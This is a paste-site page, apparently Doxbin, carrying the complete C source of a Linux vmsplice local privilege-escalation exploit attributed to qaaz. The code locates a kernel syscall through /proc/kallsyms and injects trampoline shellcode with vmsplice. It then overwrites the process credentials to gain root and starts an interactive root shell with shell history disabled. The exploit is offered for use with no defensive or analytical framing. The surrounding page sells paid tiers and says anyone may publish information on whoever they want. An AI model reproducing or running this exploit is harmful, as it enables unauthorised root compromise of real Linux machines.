GO TO DOXBIN.COM FOR THE FULL PASTE: #define _GNU_SOURCE #include <stdio.h> #include <errno.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/uio.h> #define TARGET_PATTERN " sys_vm86old" #define TARGET_SYSCALL 113 #ifndef __NR_vmsplice #define __NR_vmsplice 316 #endif #define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl)) #define gimmeroot() syscall(TARGET_SYSCALL, 31337, kernel_code, 1, 2, 3, 4) #define TRAMP_CODE (void *) trampoline #define TRAMP_SIZE ( sizeof(trampoline) - 1 ) unsigned char trampoline[] = "\x8b\x5c\x24\x04" /* mov 0x4(%esp),%ebx */ "\x8b\x4c\x24\x08" /* mov 0x8(%esp),%ecx */ "\x81\xfb\x69\x7a\x00\x00" /* cmp $31337,%ebx */ "\x75\x02" /* jne +2 */ "\xff\xd1" /* call *%ecx */ "\xb8\xea\xff\xff\xff" /* mov $-EINVAL,%eax */ "\xc3" /* ret */ ; void die(char *msg, int err) { printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err)); fflush(stdout); fflush(stderr); exit(1); } long get_target() { FILE *f; long addr = 0; char line[128]; f = fopen("/proc/kallsyms", "r"); if (!f) die("/proc/kallsyms", errno); while (fgets(line, sizeof(line), f)) { if (strstr(line, TARGET_PATTERN)) { addr = strtoul(line, NULL, 16); break; } } fclose(f); return addr; } static inline __attribute__((always_inline)) void * get_current() { unsigned long curr; __asm__ __volatile__ ( "movl %%esp, %%eax ;" "andl %1, %%eax ;" "movl (%%eax), %0" : "=r" (curr) : "i" (~8191) ); return (void *) curr; } static uint uid, gid; void kernel_code() { int i; uint *p = get_current(); for (i = 0; i < 1024-13; i++) { if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) { p[0] = p[1] = p[2] = p[3] = 0; p[4] = p[5] = p[6] = p[7] = 0; p = (uint *) ((char *)(p + 8) + sizeof(void *)); p[0] = p[1] = p[2] = ~0; break; } p++; } } int main(int argc, char *argv[]) { int pi[2]; long addr; struct iovec iov; uid = getuid(); gid = getgid(); setresuid(uid, uid, uid); setresgid(gid, gid, gid); printf("-----------------------------------\n"); printf(" Linux vmsplice Local Root Exploit\n"); printf(" By qaaz\n"); printf("-----------------------------------\n"); if (!uid || !gid) die("!@#$", 0); addr = get_target(); printf("[+] addr: 0x%lx\n", addr); if (pipe(pi) < 0) die("pipe", errno); iov.iov_base = (void *) addr; iov.iov_len = TRAMP_SIZE; write(pi[1], TRAMP_CODE, TRAMP_SIZE); _vmsplice(pi[0], &iov, 1, 0); gimmeroot(); if (getuid() != 0) die("wtf", 0); printf("[+] root\n"); putenv("HISTFILE=/dev/null"); execl("/bin/bash", "bash", "-i", NULL); die("/bin/bash", errno); return 0; }

Captcha

Hide Paste

No reason will result in disciplinary action.

Bump Paste

You do not have bump access.

Upgrade Required

VIP $50 $100
  • Preview Anonymous [VIP]
  • Primary color #9B318E
  • Secondary color #2D0A21
  • GIF profile photo YES
  • Higher limits (?) YES
  • Unlist pastes NO
  • Private pastes NO
  • Password protect pastes NO
  • Edit pastes NO
  • Mention users in pastes NO
  • Change username color NO
  • Transfer pastes NO
  • HTML in pastes NO
  • HTML in bio NO
  • Private profile NO
  • Pin pastes NO
  • Bump pastes NO
  • Username changes 1
Criminal $125 $250
  • Preview Anonymous [Criminal]
  • Primary color #780A48
  • Secondary color #2B021B
  • GIF profile photo YES
  • Higher limits (?) YES
  • Unlist pastes YES
  • Private pastes YES
  • Password protect pastes YES
  • Edit pastes YES
  • Mention users in pastes NO
  • Change username color NO
  • Transfer pastes NO
  • HTML in pastes NO
  • HTML in bio NO
  • Private profile NO
  • Pin pastes NO
  • Bump pastes NO
  • Username changes 2
Rich $250 $500
  • Preview Anonymous [Rich]
  • Primary color #FFD700
  • Secondary color #2B200D
  • GIF profile photo YES
  • Higher limits (?) YES
  • Unlist pastes YES
  • Private pastes YES
  • Password protect pastes YES
  • Edit pastes YES
  • Mention users in pastes YES
  • Change username color YES
  • Transfer pastes NO
  • HTML in pastes NO
  • HTML in bio NO
  • Private profile NO
  • Pin pastes NO
  • Bump pastes Weekly
  • Username changes 3
Elite $500 $1000
  • Preview Anonymous [Elite]
  • Primary color #FF7518
  • Secondary color #3B1F00
  • GIF profile photo YES
  • Higher limits (?) YES
  • Unlist pastes YES
  • Private pastes YES
  • Password protect pastes YES
  • Edit pastes YES
  • Mention users in pastes YES
  • Change username color YES
  • Transfer pastes YES
  • HTML in pastes YES
  • HTML in bio YES
  • Private profile YES
  • Pin pastes 100 hours
  • Bump pastes Daily
  • Username changes ∞

Select Currency

Welcome to Doxbin!
Doxbin allows anyone to publish information on whoever they want. We do not remove content unless it violates our Terms of Service.
By clicking this button, you agree to our Terms of Service.